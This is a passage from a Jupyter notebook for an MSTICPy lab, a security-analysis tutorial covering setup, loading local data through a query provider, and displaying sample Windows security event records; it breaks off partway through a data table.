MSTICPy_Lab_Completed.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# MSTICPy Lab\n",
    "\n",
    "This lab provides an interactive introduction to MSTICPy and its core features. It uses local datasets to provide a repeatable experience, however this follows the same pattern as if you were using data from a remote data store via one of MSTICPy's [Data Providers](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html)<br>\n",
    "\n",
    "\n",
    "If you require more information during this lab more details can be found in the [MSTICPy documentation](https://msticpy.readthedocs.io/en/latest/)."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## How to use this lab\n",
    "\n",
    "The lab contains a number of interactive code examples as well as exercises to be completed. The exercises are entirely optional and can be skipped if wanted, however they provide a useful way to learn about using some of the core features of MSTICPy.<br>\n",
    "\n",
    "To use the notebook simply select each cell below and either click the run cell button at the top or alternatively use the keyboard shortcut of Ctrl+Enter to execute each cell. Many cells will use the output of previous cells so its strongly recommended that cells be run in order.<br>\n",
    "\n",
    "<div class=\"alert alert-block alert-info\">\n",
    "    <b>Note:</b> not all cells will have an output, do not be surprised if you do not see anything appear under a cell after running it. Also, some cells may take a while to run so please be a bit patient. For more help on running Jupyter notebooks please refer to <a href=\"https://jupyter.readthedocs.io/en/latest/running.html\">this documentation.</a>\n",
    "</div>\n",
    "\n",
    "If you get stuck with any of the exercises in this lab you can check your answers in the [completed notebook here](https://github.com/microsoft/msticpy-lab/blob/main/MSTICPy_Lab_Completed.ipynb).<br>\n",
    "\n",
    "In several places this notebook uses lookups to the external threat intelligence provider [GreyNoise](https://GreyNoise.io/). As this is an online service you may get different responses as that data is updated. Do not be surprised if you get no positive results when running the sections of this notebook where threat intelligence is used."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Setup\n",
    "\n",
    "MSTICpy includes a feature called [nbinit](https://msticpy.readthedocs.io/en/latest/msticpy.nbtools.html?highlight=nbinit#module-msticpy.nbtools.nbinit) that handles the process of installing and importing modules into a notebook environment. This was developed to allow for a clearer starting cell in notebooks and to avoid users being presented with a very large cell block at the top of a notebook.<br>\n",
    "\n",
    "By passing the notebook namespace to init_notebook() this function handles the job of installing and importing core MSTICpy packages along with any others that might be needed by a notebook. When running this cell you may see some warnings - **this is to be expected and will not affect the rest of the lab** - they are simply show as we are not using a completed configuration in this scenario.\n",
    "\n",
    "<div class=\"alert alert-block alert-info\">\n",
    "<b>Note:</b> When running this cell you may see some warnings - <b>this is to be expected and will not affect the rest of the lab</b> - they are simply show as we are not using a completed configuration in this scenario.\n",
    "</div>\n",
    "\n",
    "You must have msticpy installed to run this notebook (if using binder this lab has the package pre-installed for you):\n",
    "```\n",
    "!pip install --upgrade msticpy[timeseries, splunk, azsentinel]\n",
    "```\n",
    "MSTICpy versions > 1.0.1\n",
    "\n",
    "The notebook also uses MSTIC Notebooklets (again pre-installed if using binder):\n",
    "```\n",
    "!pip install --upgrade msticnb\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<hr><h4>Starting Notebook initialization...</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "msticpy version installed: 1.7.5 latest published: 1.7.5<br>Latest version is installed.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Processing imports.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Imported: pd (pandas), IPython.get_ipython, IPython.display.display, IPython.display.HTML, IPython.display.Markdown, widgets (ipywidgets), pathlib.Path, plt (matplotlib.pyplot), matplotlib.MatplotlibDeprecationWarning, np (numpy), msticpy, msticpy.data.QueryProvider, msticpy.nbtools.foliummap.FoliumMap, msticpy.common.utility.md, msticpy.common.utility.md_warn, msticpy.common.wsconfig.WorkspaceConfig, msticpy.datamodel.pivot.Pivot, msticpy.datamodel.entities, msticpy.nbtools.nbmagics, msticpy.vis.mp_pandas_plot <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Checking configuration.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<br>The following configuration errors were found: <br> -----------------------------------------------<br>Missing or empty 'AzureSentinel' section<br><br>The following configuration warnings were found: <br> -------------------------------------------------<br>'OtherProviders' section has no settings.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "No valid configuration for Microsoft Sentinel found. <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Azure CLI credentials not detected. (see <a href='https://github.com/Azure/Azure-Sentinel-Notebooks/wiki/Caching-credentials-with-Azure-CLI'>Caching credentials with Azure CLI</>) <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Setting notebook options.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This product includes GeoLite2 data created by MaxMind, available from\n",
       "<a href=\"https://www.maxmind.com\">https://www.maxmind.com</a>.\n"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This library uses services provided by ipstack.\n",
       "<a href=\"https://ipstack.com\">https://ipstack.com</a>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''><font color='orange'><h3>Notebook setup completed with some warnings.</h3></p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>One or more configuration items were missing or set incorrectly.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>Please run the <i>Getting Started Guide for Azure Sentinel ML Notebooks</i> notebook. and the <a href='https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html'>msticpy configuration guide</a>.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>This notebook may still run but with reduced functionality.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h4>Notebook initialization complete</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.nbtools import nbinit\n",
    "\n",
    "nbinit.init_notebook(namespace=globals())\n",
    "\n",
    "ti = TILookup()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [],
   "source": [
    "# We also need to load a couple of anwsers for one of the exercises (no peeking!)\n",
    "import json\n",
    "\n",
    "with open(\"data/answers.json\") as f:\n",
    "    answers = json.load(f)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Data Acquisition\n",
    "The starting point for many security analysis notebooks is ingesting data to conduct analysis or investigation of. MSTICpy has a number of [query providers](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html) to allow users to query and return data from a number of sources. Below we are using the Local Data query provider to return data from local files. This is useful for this lab but is also useful if analysis is relying on local data rather than a 'live' data source.<br> \n",
    "\n",
    "In order to provide a common interface layer between data and features in MSTICPy all data is returned in a Pandas [DataFrame](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.html) DataFrame. As well as providing a consistent framework for other features to user it also allows for easy manipulation and analysis of the returned data using Pandas numerous features."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The first step in using a query provider is to initialize a `QueryProvider` and pass it the type of provider you want to use. Depending on the provider type you can also pass other required parameters. In the cell below we create a LocalData provider and pass it the location of where are local data files and their definitions are stored.<br>\n",
    "\n",
    "Each provider contains a series of built-in queries. These are pre-defined queries that return a specific subset of data, for our LocalData provider this is a specific file, however for a 'live' data source such as Microsoft Sentinel these will execute queries against that data source and return the results.<br>\n",
    "\n",
    "Once the query provider has been created we can use the `browse_queries` feature to interactively view the available queries."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "ba4a2aa9459940d7b6786da7c8b09079",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='Azure.OfficeActivity', description='Filter:', style=DescriptionStyle(description_wi…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<hr>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h3>Office 365 activity</h3><div></div><p><b>Parameters</b></p><br><p><b>Query</b></p><pre>exchange_admin.pkl</pre><br>\n",
       "        <p><b>Example</b></p>\n",
       "        <p>{QueryProvider}[.QueryPath].QueryName(params...)</p>\n",
       "        <pre>qry_prov.Azure.OfficeActivity(start=start, end=end, hostname=host)</pre>\n",
       "    "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# We start by loading a query provider for our `LocalData` source.\n",
    "qry_prov = QueryProvider(\n",
    "    data_environment=\"LocalData\", data_paths=[\"./data\"], query_paths=[\"./data\"]\n",
    ")\n",
    "# We can then look at the queries built into a provider by default\n",
    "qry_prov.browse_queries()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "------------------------\n",
    "\n",
    "Once a query has been selected you call it directly with `qry_prov.{query_group}.{query_name}` . You can also pass extra parameter to these queries where they have configurable elements (often things such as timeframes and specific entities to search for). In addition the query providers also allow you to execute a query defined as a string by calling `qry_prov.exec_query(QUERY_STRING)`<br>\n",
    "\n",
    "The returned dataframe contains the query results and can be displayed and interacted with as with any other Pandas dataframe."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>Account</th>\n",
       "      <th>AccountType</th>\n",
       "      <th>Computer</th>\n",
       "      <th>EventSourceName</th>\n",
       "      <th>Channel</th>\n",
       "      <th>Task</th>\n",
       "      <th>Level</th>\n",
       "      <th>EventData</th>\n",
       "      <th>EventID</th>\n",
       "      <th>Activity</th>\n",
       "      <th>PartitionKey</th>\n",
       "      <th>RowKey</th>\n",
       "      <th>StorageAccount</th>\n",
       "      <th>AzureDeploymentID</th>\n",
       "      <th>AzureTableName</th>\n",
       "      <th>AccessList</th>\n",
       "      <th>AccessMask</th>\n",
       "      <th>AccessReason</th>\n",
       "      <th>AccountDomain</th>\n",
       "      <th>AccountExpires</th>\n",
       "      <th>AccountName</th>\n",
       "      <th>AccountSessionIdentifier</th>\n",
       "      <th>...</th>\n",
       "      <th>TargetUserSid</th>\n",
       "      <th>TemplateContent</th>\n",
       "      <th>TemplateDSObjectFQDN</th>\n",
       "      <th>TemplateInternalName</th>\n",
       "      <th>TemplateOID</th>\n",
       "      <th>TemplateSchemaVersion</th>\n",
       "      <th>TemplateVersion</th>\n",
       "      <th>TokenElevationType</th>\n",
       "      <th>TransmittedServices</th>\n",
       "      <th>UserAccountControl</th>\n",
       "      <th>UserParameters</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>UserWorkstations</th>\n",
       "      <th>VirtualAccount</th>\n",
       "      <th>VendorIds</th>\n",
       "      <th>Workstation</th>\n",
       "      <th>WorkstationName</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>EventOriginId</th>\n",
       "      <th>MG</th>\n",
       "      <th>TimeCollected</th>\n",
       "      <th>ManagementGroupName</th>\n",
       "      <th>Type</th>\n",
       "      <th>_ResourceId</th>\n",
       "      <th>EventProperties</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-11 08:40:22.537</td>\n",
       "      <td>OpsManager</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>Machine</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>Microsoft-Windows-Security-Auditing</td>\n",
       "      <td>Security</td>\n",
       "      <td>13826</td>\n",
       "      <td>8</td>\n",
       "      <td>&lt;EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"&gt;\\r\\n  &lt;Data Name=\"Targe...</td>\n",
       "      <td>4799</td>\n",
       "      <td>4799 - A security-enabled local group membership was enumerated</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>d0ec0118-9b6b-477e-ba9f-e4ead3665884</td>\n",
       "      <td>00000000-0000-0000-0000-000000000001</td>\n",
       "      <td>2019-02-11 08:40:40.387</td>\n",
       "      <td>AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>SecurityEvent</td>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...</td>\n",
       "      <td>{'TargetUserName': 'Remote Desktop Users', 'TargetDomainName': 'Builtin', 'TargetSid': 'S-1-5-32...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-11 08:40:24.827</td>\n",
       "      <td>OpsManager</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>Machine</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>Microsoft-Windows-Security-Auditing</td>\n",
       "      <td>Security</td>\n",
       "      <td>13826</td>\n",
       "      <td>8</td>\n",
       "      <td>&lt;EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"&gt;\\r\\n  &lt;Data Name=\"Targe...</td>\n",
       "      <td>4799</td>\n",
       "      <td>4799 - A security-enabled local group membership was enumerated</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>5365f041-1345-4cd0-8fbb-41ccbaa16a39</td>\n",
       "      <td>00000000-0000-0000-0000-000000000001</td>\n",
       "      <td>2019-02-11 08:40:40.387</td>\n",
       "      <td>AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>SecurityEvent</td>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...</td>\n",
       "      <td>{'TargetUserName': 'Administrators', 'TargetDomainName': 'Builtin', 'TargetSid': 'S-1-5-32-544',...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-11 08:40:24.827</td>\n",
       "      <td>OpsManager</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>Machine</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>Microsoft-Windows-Security-Auditing</td>\n",
       "      <td>Security</td>\n",
       "      <td>13824</td>\n",
       "      <td>8</td>\n",
       "      <td>&lt;EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"&gt;\\r\\n  &lt;Data Name=\"Targe...</td>\n",
       "      <td>4798</td>\n",
       "      <td>4798 - A user's local group membership was enumerated.</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>5333954d-9157-443c-9657-6ef390c73abb</td>\n",
       "      <td>00000000-0000-0000-0000-000000000001</td>\n",
       "      <td>2019-02-11 08:40:40.387</td>\n",
       "      <td>AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>SecurityEvent</td>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...</td>\n",
       "      <td>{'TargetUserName': 'MSTICAdmin', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-21-9...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-11 08:40:24.833</td>\n",
       "      <td>OpsManager</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>Machine</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>Microsoft-Windows-Security-Auditing</td>\n",
       "      <td>Security</td>\n",
       "      <td>13824</td>\n",
       "      <td>8</td>\n",
       "      <td>&lt;EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"&gt;\\r\\n  &lt;Data Name=\"Targe...</td>\n",
       "      <td>4798</td>\n",
       "      <td>4798 - A user's local group membership was enumerated.</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>d2fded8a-e507-4017-aedd-cb6da6a2b624</td>\n",
       "      <td>00000000-0000-0000-0000-000000000001</td>\n",
       "      <td>2019-02-11 08:40:40.387</td>\n",
       "      <td>AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>SecurityEvent</td>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...</td>\n",
       "      <td>{'TargetUserName': 'DefaultAccount', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-11 08:40:24.833</td>\n",
       "      <td>OpsManager</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>Machine</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>Microsoft-Windows-Security-Auditing</td>\n",
       "      <td>Security</td>\n",
       "      <td>13824</td>\n",
       "      <td>8</td>\n",
       "      <td>&lt;EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"&gt;\\r\\n  &lt;Data Name=\"Targe...</td>\n",
       "      <td>4798</td>\n",
       "      <td>4798 - A user's local group membership was enumerated.</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>701504d1-e106-48ca-b424-d9ec20f17746</td>\n",
       "      <td>00000000-0000-0000-0000-000000000001</td>\n",
       "      <td>2019-02-11 08:40:40.387</td>\n",
       "      <td>AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>SecurityEvent</td>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...</td>\n",
       "      <td>{'TargetUserName': 'Guest', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-21-996632...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 226 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId           TimeGenerated SourceSystem  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-11 08:40:22.537   OpsManager   \n",
       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-11 08:40:24.827   OpsManager   \n",
       "2  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-11 08:40:24.827   OpsManager   \n",
       "3  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-11 08:40:24.833   OpsManager   \n",
       "4  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-11 08:40:24.833   OpsManager   \n",
       "\n",
       "                      Account AccountType         Computer  \\\n",
       "0  WORKGROUP\\MSTICAlertsWin1$     Machine  MSTICAlertsWin1   \n",
       "1  WORKGROUP\\MSTICAlertsWin1$     Machine  MSTICAlertsWin1   \n",
       "2  WORKGROUP\\MSTICAlertsWin1$     Machine  MSTICAlertsWin1   \n",
       "3  WORKGROUP\\MSTICAlertsWin1$     Machine  MSTICAlertsWin1   \n",
       "4  WORKGROUP\\MSTICAlertsWin1$     Machine  MSTICAlertsWin1   \n",
       "\n",
       "                       EventSourceName   Channel   Task Level  \\\n",
       "0  Microsoft-Windows-Security-Auditing  Security  13826     8   \n",
       "1  Microsoft-Windows-Security-Auditing  Security  13826     8   \n",
       "2  Microsoft-Windows-Security-Auditing  Security  13824     8   \n",
       "3  Microsoft-Windows-Security-Auditing  Security  13824     8   \n",
       "4  Microsoft-Windows-Security-Auditing  Security  13824     8   \n",
       "\n",
       "                                                                                             EventData  \\\n",
       "0  <EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\\r\\n  <Data Name=\"Targe...   \n",
       "1  <EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\\r\\n  <Data Name=\"Targe...   \n",
       "2  <EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\\r\\n  <Data Name=\"Targe...   \n",
       "3  <EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\\r\\n  <Data Name=\"Targe...   \n",
       "4  <EventData xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\\r\\n  <Data Name=\"Targe...   \n",
       "\n",
       "   EventID                                                         Activity  \\\n",
       "0     4799  4799 - A security-enabled local group membership was enumerated   \n",
       "1     4799  4799 - A security-enabled local group membership was enumerated   \n",
       "2     4798           4798 - A user's local group membership was enumerated.   \n",
       "3     4798           4798 - A user's local group membership was enumerated.   \n",
       "4     4798           4798 - A user's local group membership was enumerated.   \n",
       "\n",
       "  PartitionKey RowKey StorageAccount AzureDeploymentID AzureTableName  \\\n",
       "0                                                                       \n",
       "1                                                                       \n",
       "2                                                                       \n",
       "3                                                                       \n",
       "4                                                                       \n",
       "\n",
       "  AccessList AccessMask AccessReason AccountDomain AccountExpires AccountName  \\\n",
       "0                                                                               \n",
       "1                                                                               \n",
       "2                                                                               \n",
       "3                                                                               \n",
       "4                                                                               \n",
       "\n",
       "  AccountSessionIdentifier  ... TargetUserSid TemplateContent  \\\n",
       "0                           ...                                 \n",
       "1                           ...                                 \n",
       "2                           ...                                 \n",
       "3                           ...                                 \n",
       "4                           ...                                 \n",
       "\n",
       "  TemplateDSObjectFQDN TemplateInternalName TemplateOID  \\\n",
       "0                                                         \n",
       "1                                                         \n",
       "2                                                         \n",
       "3                                                         \n",
       "4                                                         \n",
       "\n",
       "   TemplateSchemaVersion  TemplateVersion TokenElevationType  \\\n",
       "0                                                              \n",
       "1                                                              \n",
       "2                                                              \n",
       "3                                                              \n",
       "4                                                              \n",
       "\n",
       "  TransmittedServices UserAccountControl  UserParameters UserPrincipalName  \\\n",
       "0                                                                            \n",
       "1                                                                            \n",
       "2                                                                            \n",
       "3                                                                            \n",
       "4                                                                            \n",
       "\n",
       "  UserWorkstations VirtualAccount VendorIds Workstation WorkstationName  \\\n",
       "0                                                                         \n",
       "1                                                                         \n",
       "2                                                                         \n",
       "3                                                                         \n",
       "4                                                                         \n",
       "\n",
       "                       SourceComputerId                         EventOriginId  \\\n",
       "0  263a788b-6526-4cdc-8ed9-d79402fe4aa0  d0ec0118-9b6b-477e-ba9f-e4ead3665884   \n",
       "1  263a788b-6526-4cdc-8ed9-d79402fe4aa0  5365f041-1345-4cd0-8fbb-41ccbaa16a39   \n",
       "2  263a788b-6526-4cdc-8ed9-d79402fe4aa0  5333954d-9157-443c-9657-6ef390c73abb   \n",
       "3  263a788b-6526-4cdc-8ed9-d79402fe4aa0  d2fded8a-e507-4017-aedd-cb6da6a2b624   \n",
       "4  263a788b-6526-4cdc-8ed9-d79402fe4aa0  701504d1-e106-48ca-b424-d9ec20f17746   \n",
       "\n",
       "                                     MG           TimeCollected  \\\n",
